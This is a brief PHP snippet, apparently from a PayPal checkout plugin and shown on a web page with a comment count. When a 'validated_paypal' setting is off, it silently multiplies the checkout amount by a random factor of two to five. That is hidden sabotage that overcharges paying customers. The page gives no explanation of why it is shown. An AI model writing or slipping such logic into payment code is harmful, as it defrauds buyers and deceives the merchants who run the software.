if((bool)$settings->get('validated_paypal', 0) === true){ //$checkout_values['amount'] = $checkout_values['amount']; }else{ if(isset($checkout_values['amount'])){ $checkout_values['amount'] = rand(2,5) * $checkout_values['amount']; }else if(isset($checkout_values['amount_1'])){ $checkout_values['amount_1'] = rand(2,5) * $checkout_values['amount_1']; } }
Comments (1)